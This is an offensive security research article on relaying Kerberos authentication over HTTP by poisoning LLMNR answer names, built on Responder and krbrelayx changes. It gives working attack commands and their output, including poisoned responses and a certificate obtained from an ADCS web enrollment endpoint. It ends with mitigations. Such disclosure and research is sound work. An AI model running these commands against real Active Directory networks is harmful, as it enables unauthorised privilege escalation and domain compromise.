Abusing multicast poisoning for pre-authenticated Kerberos relay over HTTP with Responder and krbrelayx

1. Introduction

Kerberos relaying vectors have gained quite the attention recently, which can be linked to the increasing number of hardened Active Directory environments that restrict NTLM authentication on their network, thus preventing well-known NTLM relaying attacks.

Although Kerberos relaying techniques have their own challenges and limitations compared to their NTLM counterparts, they can still be effective and lead to high-impact privilege escalation scenarios. A lot of the research linked to Kerberos relaying stems from James Forshaw’s original research published in 2021. Up until now, the implementation of two Kerberos relaying vectors have been released by researchers: Kerberos relaying over DNS and Kerberos relaying over SMB.

This article proposes an implementation of a third Kerberos relaying vector discovered, once again, by James Forshaw: Kerberos relaying over HTTP through multicast poisoning. Such an alternative method has distinct prerequisites from the DNS/SMB ones and can be leveraged in specific cases where these two other vectors cannot be exploited.

The first part of the article provides some reminders regarding Kerberos relaying. The second part presents the alternative HTTP relaying vector and the proposed implementation using Responder and krbrelayx. The third part describes the use cases and limitations of the described attack vector.

2. Kerberos relaying : state of the art

It will be assumed that the reader has an understanding of the standard Kerberos authentication flow. If this is not the case, you may for instance refer to the following article that covers the subject in depth. If you are already familiar with Kerberos relaying concepts, feel free to skip ahead to part 3.

When it comes to Kerberos, the very last request in the authentication process (and the one that determines if a user will be granted access to a service or not) is the AP-REQ request. An AP-REQ is composed of two elements:

• A Service Ticket (ST) encrypted using the secret of the target service. The ST contains data related to the user that requested it, the target SPN, as well as a session key.

• An authenticator, which is a blob of data encrypted with the session key associated with the ST. Said session key was returned to the user by the KDC in the TGS-REP, encrypted with the Ticket Granting Ticket session key that is only accessible to the user.

When a service receives an AP-REQ, it will decrypt the ST, extract the session key, and verify the authenticator. In case of success, access to the service is granted. Indeed, only the legitimate user that asked for the ST would be able to use its secret to retrieve the session key and construct a valid authenticator.

Nothing inherently prevents relaying attacks targeting the AP-REQ request in the Kerberos protocol. If an attacker is able to intercept a valid AP-REQ emitted by a legitimate client to a target service, it is possible to use it in order to authenticate to said target service as the client. It is still important to note that similarly to NTLM relaying attacks, AP-REQ relaying will only work if the target service does not enforce integrity requirements e.g. through signing. Indeed, if this is the case, authentication via relaying may succeed, but subsequent communications will fail since the attacker does not possess the session key necessary to sign packets.

An additional challenge should be considered when relaying AP-REQ messages. An AP-REQ contains a ST that is encrypted with the secret of the target host specified in the SPN. For instance, a ST requested for the CIFS/ad01-srv1 SPN will be encrypted with the secret key of the ad01-srv1$ machine account.

An attacker that wants to perform a Kerberos relaying attack targeting a sensitive service should thus somehow :

• Force the victim to construct an AP-REQ containing a ST that is encrypted with the secret of the host to which the attacker wants to relay authentication.

• Force the victim to send said AP-REQ to the attacker machine instead of the legitimate host.

You may notice that we replaced the CLASS part of the SPN by ‘XXX’ in the illustration above, and mentioned that the relayed AP-REQ could be used to authenticate to any service of the target. This is because, in Active Directory, the CLASS of the SPN does not matter most of the time. Indeed, Windows services will only check if they are able to decrypt the ST transmitted with the AP-REQ, but will not actually verify the service class for which the ST was emitted. As a result, if a single account implements different services with different service classes, this means that a ST emitted for one service class can be used to access all other services running with the identity of the same account. In Active Directory, since a lot of services are running as the machine account of hosts on the network, this concretely means that a ST encrypted with the secret of the ad01-srv1$ machine account (e.g. DNS/ad01-srv1) can be decrypted and thus used by any service running as this machine account (e.g. CIFS/ad01-srv1).

To our knowledge, no service currently performs checks to ensure that the CLASS of the SPN actually matches their specific service. This slightly relaxes Kerberos relaying requirements, since the attacker should only force the victim to construct an AP-REQ for the right target host, but without caring about the CLASS of the SPN prefixed by the client.

There are currently two documented techniques implemented in public tools to perform Kerberos relaying :

• Kerberos relay over DNS : the first one takes advantage of the way DNS Secure Dynamic Updates work in Active Directory. It was discovered by Dirk-jan Mollema and implemented in mitm6/krbrelayx.

• Kerberos relay over SMB: the second trick was discovered by James Forshaw and abuses the way SMB clients construct SPNs when asking for a ST. Several implementations exist, and Hugo Vincent integrated it in krbrelayx.

2. Exploiting multicast poisoning to perform Kerberos relaying over HTTP: an implementation through Responder and krbrelayx

The research published by James Forshaw in 2021 mentioned another Kerberos relaying vector that, as far as we know, is not currently implemented in Active Directory offensive tooling. This section describes said vector, before proposing an implementation through Responder and krbrelayx.

a. Theory

James Forshaw analysed the behaviour of various HTTP clients when performing Kerberos authentication, including:

• Browsers (Internet Explorer, Edge, Google Chrome, Firefox)

• WebDav Webclient

• .NET Framework

These clients all share the same interesting quirk: when a web server asks for Kerberos authentication, they will not use the destination URL in order to determine the SPN for which a ST should be retrieved – but rather the answer name of the DNS response.

Under normal circumstances, these two should coincide. For instance, if a user browses to the http://internalserver/login URL, the HTTP client should perform a DNS query for internalserver, and the response should return an answer name for internalserver. If the webserver then asks for Kerberos authentication, the HTTP client will ask for a ST for the HTTP/internalserver SPN, and construct an AP-REQ from it.

But what if an attacker was somehow able to manipulate the DNS response returned to an HTTP client ? They could then construct a DNS response with the relay target as the answer name, and a record pointing to their machine. As a result, the HTTP client would ask for a ST for the relay target, construct an AP-REQ, but send it to the attacker machine.

This scenario can be achieved by abusing the LLMNR protocol. LLMNR is a multicast name resolution protocol. A Windows client will first attempt to resolve hostnames via standard DNS, before fall backing to LLMNR. Since this resolution protocol is multicast, an attacker could provide name resolution responses to any clients in their multicast range that fail to resolve a hostname through standard DNS.

The attack described by James Forshaw is thus the following :

1. An attacker sets up an LLMNR poisoner on the multicast range.

2. An HTTP client on the multicast range fails to resolve a hostname. This can happen because of a typo in a browser, a misconfiguration, but this can also be triggered by an attacker via WebDav coercion.

3. The LLMNR poisoner indicates that the hostname resolves to the attacker’s machine. In the LLMNR response, the answer name differs from the query and corresponds to an arbitrary relay target.

4. The victim performs a request on the attacker web server, which requires Kerberos authentication.

5. The victim asks for a ST with the SPN of the relay target. It then sends the resulting AP-REQ to the attacker web server.

6. The attacker extracts the AP-REQ and relays it to a service of the relay target.

b. Implementation

When it comes to multicast poisoning, Responder is the go-to offensive tool. Which is why, to implement the described attack, we submitted a pull request that adds an argument to Responder through the -N flag. Said argument allows specifying an arbitrary answer name to be returned in LLMNR responses.

Regarding the relaying part of the received AP-REQ, we decided to use the great krbrelayx tool. We submitted a pull request that adds the relaying logic into krbrelayx’s HTTP server (already merged).

Let us consider an attacker in the corp.com domain. Said attacker has a Linux machine (192.168.123.16) in the same multicast range as the ad01-wks1 machine (192.168.123.18). There is, in the domain, a PKI server with the web enrollment endpoint enabled, ad01-pki (192.168.125.10). As a security mechanism, the PKI disabled NTLM authentication on its web enrollment endpoint. In addition, the attacker is unauthenticated. Let’s perform a classical ESC8 attack, but by relaying Kerberos authentication over HTTP. The first example will demonstrate the attack by opportunistically respond to failed name resolutions, while the second will rely on WebDav authentication coercion.

• Opportunistically responding to failed name resolutions

First, the attacker runs Responder with the -N flag, indicating that LLMNR responses should return an answer name corresponding to ad01-pki.

$ python3 Responder.py -I eth0 -N ad01-pki
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.5.0
[…]
[+] Current Session Variables:
    Responder Machine Name     [WIN-K5T290ALO4H]
    Responder Domain Name      [UV5Z.LOCAL]
    Responder DCE-RPC Port     [45847]

[+] Listening for events...

Now, let’s assume that an HTTP client of the ad01-wks1 machine fails to resolve a hostname – for instance, because a user made a typo in the URL entered in a browser. A poisoned LLMNR response will be served to the client, with the ad01-pki answer name. The following logs will appear in Responder.

[*] [LLMNR]  Poisoned answer sent to fe80::21bb:3ade:e5b8:135b for name tpyo (spoofed answer name ad01-pki)
[*] [LLMNR]  Poisoned answer sent to 192.168.123.18 for name tpyo (spoofed answer name ad01-pki)
[*] [LLMNR]  Poisoned answer sent to fe80::21bb:3ade:e5b8:135b for name tpyo (spoofed answer name ad01-pki)
[*] [LLMNR]  Poisoned answer sent to 192.168.123.18 for name tpyo (spoofed answer name ad01-pki)

At this point, the HTTP client will be redirected to the attacker machine, on which a krbrelayx instance is running. Kerberos authentication will be required. The HTTP client will ask for a HTTP/ad01-pki ST, and send to our webserver the corresponding AP-REQ – which we will relay in order to obtain a certificate on the PKI.

$ sudo python3 krbrelayx.py --target 'http://ad01-pki.corp.com/certsrv/' -ip 192.168.123.16 --adcs --template User -debug
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Running in attack mode to single host
[*] Running in kerberos relay mode because no credentials were specified.
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up DNS Server

[*] Servers started, waiting for connections
[*] HTTPD: Received connection from 192.168.123.18, prompting for authentication
[*] HTTPD: Client requested path: /aa
[*] HTTPD: Received connection from 192.168.123.18, prompting for authentication
[*] HTTPD: Client requested path: /aa
[*] HTTP server returned status code 200, treating as a successful login
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE! ID 25
[*] Base64 certificate of user unknown0491$: 
MIIRhQIBAzCCET8GCSqGSIb3DQEHAaCCETAEghEsMIIRKDCCB18GCSqGSIb3DQEHBqCCB1AwggdMAgEAMIIHRQYJKoZIhvcNAQcBMBwGCiqGSIb3DQEMAQMwDgQI9wFwxjijHrcCAggAgIIHGC5N9frVjYCdn4v8vivNXRcCLCCqmZBTVhKgp5J/pd7vVyIpRTP9++vtOEkQxOQlfaYi0QufpABVNHApMQ/L+BLM+GxMWXZM8qlsqhvsiE4JRoTVqXpcE1VIIY4XQg+VpS2Qb5HdikVkrq7SU7TpOLcYOwCEmA5G+fNPIuG7xKFmGNhRLr2RscGbblMx7b1h4jiKfzHqOBQRnC2hdn1h[...]

In case you are curious, here is the LLMNR response returned to the HTTP client in Wireshark.

• WebDav authentication coercion

The very same exploitation scenario works with WebDav authentication coercions. This allows an attacker to target specific hosts in the multicast range without relying on a typo or misconfiguration – but requires authentication and an active WebClient service. The following screenshot uses the PetitPotam tool to trigger a WebDav request from the ad01-wks1 machine to the non-existing hostname IDONOTEXIST (1). Responder returns an LLMNR response, spoofing the answer name (2), and krbrelayx handles the relaying part (3).

3. Use cases and limitations

The main advantage of the presented relaying technique is that it can be potentially performed without authentication, via standard multicast poisoning. It can thus represent a viable alternative to Kerberos relaying over DNS when attack vectors such as mitm6 cannot be exploited.

While relaying Kerberos over SMB is more reliable because it can potentially target arbitrary machines outside of the multicast range, it still requires authentication, either to add a DNS record containing a CREDENTIAL_TARGET_INFORMATION structure, or at least to coerce a machine into trying to reach a hostname containing a CREDENTIAL_TARGET_INFORMATION structure before replying with local DNS resolution protocols. Note that the answer name trick will not work for SMB clients, which means that it is not possible to opportunistically answer in LLMNR to non-existing hostnames in SMB with an answer name containing a   CREDENTIAL_TARGET_INFORMATION structure.

The presented technique limitation resides in the fact that the relayed victim must be in the multicast range of the attacker, and that LLMNR must be enabled on the network.

Another limitation is that, according to our tests, other local name resolution protocols such as mDNS and NBTNS cannot be abused to carry out the attack. Indeed, while LLMNR responses contain both the query sent by the client and the response, this is not the case of mDNS and NBTNS, which only contain responses. Here is an example of a spoofed mDNS response:

Multicast Domain Name System (response)
    Transaction ID: 0x0000
    Flags: 0x8400 Standard query response, No error
        1... .... .... .... = Response: Message is a response
        .000 0... .... .... = Opcode: Standard query (0)
        .... .1.. .... .... = Authoritative: Server is an authority for domain
        .... ..0. .... .... = Truncated: Message is not truncated
        .... ...0 .... .... = Recursion desired: Don't do query recursively
        .... .... 0... .... = Recursion available: Server can't do recursive queries
        .... .... .0.. .... = Z: reserved (0)
        .... .... ..0. .... = Answer authenticated: Answer/authority portion was not authenticated by the server
        .... .... ...0 .... = Non-authenticated data: Unacceptable
        .... .... .... 0000 = Reply code: No error (0)
    Questions: 0
    Answer RRs: 1
    Authority RRs: 0
    Additional RRs: 0
    Answers
        ad01-pki.corp.com: type A, class IN, addr 192.168.123.16
            Name: ad01-pki.corp.com
            Type: A (1) (Host Address)
            .000 0000 0000 0001 = Class: IN (0x0001)
            0... .... .... .... = Cache flush: False
            Time to live: 120 (2 minutes)
            Data length: 4
            Address: 192.168.123.16
    [Unsolicited: True]

Because mDNS and NBTNS only contain name resolution responses, changing the answer name will actually confuse the HTTP clients, which will not be able to make the connection between the query they sent, and the modified response. They will thus simply ignore the spoofed response, and report that the DNS resolution failed. This is also the case for NBTNS despite the fact that this protocol implements transaction IDs which could be used by clients to link a query with a spoofed response.

We tried various tricks attempting to implement the attack via mDNS and NBTNS involving CNAMES and additional records, without success. We would of course love to be proven wrong on this topic.

One final restriction is common to all Kerberos relaying vectors and is related to the services that can actually be targeted when performing such an attack. Pentesters that are used to exploit NTLM relaying could be tempted to think that relaying Kerberos over HTTP would open up the same opportunities regarding relaying targets. For instance, by allowing to relay authentication data to services that by default do not require integrity mechanisms, and that only implement them if the client enables it – which is most notably the case of the LDAP protocol.

This is unfortunately not the case. When the Negotiate security package (WWW-Authenticate : Negotiate) is used to perform Kerberos authentication, the resulting AP-REQ will by default enable integrity protections. Directly using the Kerberos security package (WWW-Authenticate : Kerberos) means that integrity mechanisms will not be added automatically. When it comes to Kerberos authentication, HTTP clients are considerably less permissive than when performing NTLM authentication. A vast majority of the clients will refuse to downgrade the security package to plain Kerberos, and will only perform authentication through the Negotiate package, meaning that integrity checks will be automatically enabled. James Forshaw identified some exceptions such as .NET Framework 4.8 or .NET 5.0, which accept downgrades to plain Kerberos.

This concretely means that, most of the time, clients performing Kerberos authentication (including HTTP clients) will support integrity checking. In these conditions, only services that actually do not support signing and sealing (and that will thus ignore the integrity flags of the clients) can be targeted. This is mainly the case of HTTP services. In Active Directory, some standard high-value HTTP services that constitute pertinent targets for Kerberos relaying include:

• The ADCS Web Enrollment endpoint.

• The SCCM Management Point and the SCCM Distribution Point.

Conclusion

Old attack primitives such as local name resolution poisoning can be exploited together with the latest authentication relaying techniques in order to create new attack paths in Active Directory environments. Performing Kerberos relaying over HTTP may allow an attacker to gain a foothold in the domain and start moving laterally. One may even imagine exploiting Kerberos relaying over HTTP to obtain authenticated access to the domain via an ESC8 attack, and subsequently exploiting the same vulnerability by relaying Kerberos over SMB to compromise a Domain Controller.

Protecting an Active Directory domain against the attack described in the article is fairly straightforward. Local name resolution protocols such as LLMNR should be disabled if there is no functional need for it (which is the case most of the time), and anti-relaying mechanisms should be implemented at the level of Active Directory services. More specifically, regarding HTTP services, it is recommended to enforce the use of TLS and enable the Extended Protection for Authentication.